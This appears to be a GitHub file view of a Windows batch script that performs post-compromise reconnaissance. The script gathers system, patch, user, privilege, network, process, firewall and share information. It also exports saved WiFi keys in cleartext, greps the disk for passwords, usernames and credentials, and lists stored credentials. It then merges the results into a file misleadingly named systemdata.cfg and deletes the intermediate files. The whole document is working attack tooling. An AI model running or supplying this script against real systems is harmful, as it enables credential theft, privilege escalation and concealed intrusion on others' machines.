-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathrecon.txt
96 lines (82 loc) · 3.54 KB
/
recon.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
@ECHO OFF
ECHO
ECHO Creating TMP directory...
CD\
MD c:\TMP
CD c:\TMP
ECHO Gathering System Information...
ECHO.
ECHO System Information > asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
systeminfo >> asysteminfo.txt
ECHO Gathering Recent Hotfix Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Recent Hotfix Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
wmic qfe get Caption,Description,HotFixID,InstalledOn >> asysteminfo.txt
ECHO Gathering Local Users and Groups Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Local Users and Groups Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
net user >> asysteminfo.txt
net localgroup >> asysteminfo.txt
net group /domain >> asysteminfo.txt
ECHO Gathering Local Priviledges...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Local Priviledges Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
whoami /priv >> asysteminfo.txt
ECHO Gathering Network Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Network Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
ipconfig /all >> asysteminfo.txt
route print >> asysteminfo.txt
arp -A >> asysteminfo.txt
netstat -ano >> asysteminfo.txt
ECHO Gathering WiFi Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO WiFi Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
netsh wlan show profiles >> asysteminfo.txt
netsh wlan export profile key=clear folder=C:\TMP
ECHO Gathering Running Processes Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Running Processes Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
tasklist /SVC >> asysteminfo.txt
ECHO Gathering Writable Directory Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Writable Directory Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
dir /a-r-d /s /b >> asysteminfo.txt
ECHO Gathering Searchable Password Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Searchable Password Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
findstr /spin "password" *.* > pbin.txt
findstr /spin "passphrase" *.* > pbin.txt
findstr /spin "pass" *.* >> pbin.txt
findstr /spin "username" *.* >> pbin.txt
findstr /spin "credentials" *.* >> pbin.txt
ECHO Gathering Credential Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Credential Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
cmdkey /savecred /list /pass >> asysteminfo.txt
ECHO Gathering Windows Firewall Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Windows Firewall Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
Netsh Advfirewall show allprofiles >> asysteminfo.txt
ECHO Gathering Local Share Information...
ECHO ------------------------------------ >> asysteminfo.txt
ECHO Local Share Information >> asysteminfo.txt
ECHO ------------------------------------ >> asysteminfo.txt
wmic share get /format:list >> asysteminfo.txt
ECHO Merging File Sets...
Copy c:\TMP\*.* c:\TMP\systemdata.cfg
ECHO Deleting Unnessary File Sets...
DEL c:\TMP\*.txt
DEL c:\TMP\*.xml
exit